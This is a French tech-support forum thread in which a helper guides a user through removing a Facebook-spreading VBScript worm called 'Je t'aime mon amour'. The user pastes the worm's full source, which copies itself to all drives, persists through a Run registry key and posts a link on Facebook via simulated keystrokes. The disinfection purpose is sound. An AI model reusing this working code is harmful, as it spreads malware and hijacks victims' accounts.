Virus sur facebook "Je t'aime mon amour" - Page 2

Avec j'ai eu ça:
On error resume next '11/07/2012 by N@ks
Set C = CreateObject("Scripting.FileSystemObject").GetFile(WScript.ScriptFullName)
Set Nn1 = CreateObject("WScript.Shell")
Set Nn2 = CreateObject("Scripting.FileSystemObject")
Set Nn3 = Nn2.GetSpecialFolder(1)
Set Drives=Nn2.drives
Bm = Nn1.SpecialFolders("Startup")
Do
For Each Drive in Drives
If drive.isready then
Nn2.CopyFile ""&WScript.ScriptFullName&"" , ""&drive&"\Je_t'aime.vbs"
end If
Next
C.Copy(Nn3&"\Knucker.C.vbs")
If Nn2.FileExists(Nn3&"\Knucker.C.vbs") Then
Nn1.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Pdll", ""&Nn3&"\Knucker.C.vbs"
Else
C.Copy(Bm&"\Wsserv.vbs")
End If
wscript.sleep 10000
Nn1.run "http://www.facebook.com/sharer.php?u=http://kamasms.fr/vi.html"
wscript.sleep 7000
Nn1.SendKeys ("{tab}")
Nn1.SendKeys ("{tab}")
Nn1.SendKeys ("{tab}")
Nn1.SendKeys ("Je t'aime mon amoooouuuurrr <3<3<3 :) !")
wscript.sleep 121
Nn1.SendKeys ("{tab}")
Nn1.SendKeys ("{enter}")
wscript.sleep 121
Nn1.SendKeys ("^{F4}")
wscript.sleep 1000*60*15
Loop

tu fais quoi avec le pc pendant la desinfefction ? du streaming ? tu installes n importe quoi ?

suppprime je t'aime et END

tu peux le supprimer manuellement celui dans D:\ ?

selectionne ce texte :

File|Fold::
C:\Je_t'aime.vbs
D:\je_t'aime.vbs

Relance Pre_scan puis choisis l'option "Script"

une page va s'ouvrir

logiquement le texte que tu as sélectionné s'y trouve déjà , donc tu fermes et le programme va travailler.

sinon colle-le (clic droit/coller ou ctrl+V) dans la page vierge.

puis onglet fichier => enregistrer (pas enregistrer sous...) , puis ferme le texte

des fenetres noires risquent de clignoter , c'est normal , c'est le programme qui travaille

poste Pre_Script.txt qui apparaitra sur le bureau en fin de travail

¤¤¤¤¤¤¤¤¤¤ Pre_Scan_Concept ¤¤¤¤¤¤¤¤¤¤

¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤ Pre_Script | 2.1021 ¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤

Florian : Windows 7 Home Premium (64 bits)

Switchs : http://gen-hackman.forum-pro.fr/t89-les-switchs

New restorepoint created

Script : 22:29:42

¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤

File Quarantined and Deleted Successfully : |A| - C:\Je_t'aime.vbs
File Quarantined and Deleted Successfully : |A| - D:\je_t'aime.vbs

Fin : 22:29:43

¤¤¤¤¤¤¤¤¤¤ ( EOF ) ¤¤¤¤¤¤¤¤¤¤

ok redemarre le pc et vois s ils sont revenus

Ils ne sont pas revenus

bien refais un diag avec pre_scan

Je vais me coucher, je ferai ça demain.
En tout cas vraiment merci pour toute l'aide que tu m'as apporté !

Salut !
Voilà le diag https://forums-fec.be/upload/www/?a=d&i=8631732996

desinstalle adobe reader 9

t'es retourné sur facebook entre temps ?

relance pre_scan clique sur regedit

deplie avec les petits "+"

HKEY_LOCAL_MACHINE
\Software
\Microsoft
\Software

clic droit sur celui en gras et choisis exporter => du nom que tu veux , sur le bureau

ferme le registre

ensuite clique droit sur la clé ainsi créée puis selectionne "modifier"

colle le contenu ici

ensuite tu peux la fermer ( la clé ^^ ) et la supprimer

===========================

desinstalle tout Java

============================

Attention !!! pense à re-désactiver tes protections

Clique sur ce lien : https://www.cjoint.com/?BJwvH4QYosS

Selectionne tout le texte qui s'y trouve CTRL+A puis CTRL+C ou clic droit/copier

Relance Pre_scan puis choisis l'option "Script"

une page va s'ouvrir

logiquement le texte que tu as sélectionné s'y trouve déjà , donc tu fermes et le programme va travailler.

sinon colle-le (clic droit/coller ou ctrl+V) dans la page vierge.

puis onglet fichier => enregistrer (pas enregistrer sous...) , puis ferme le texte

des fenetres noires risquent de clignoter , c'est normal , c'est le programme qui travaille

poste Pre_Script.txt qui apparaitra sur le bureau en fin de travail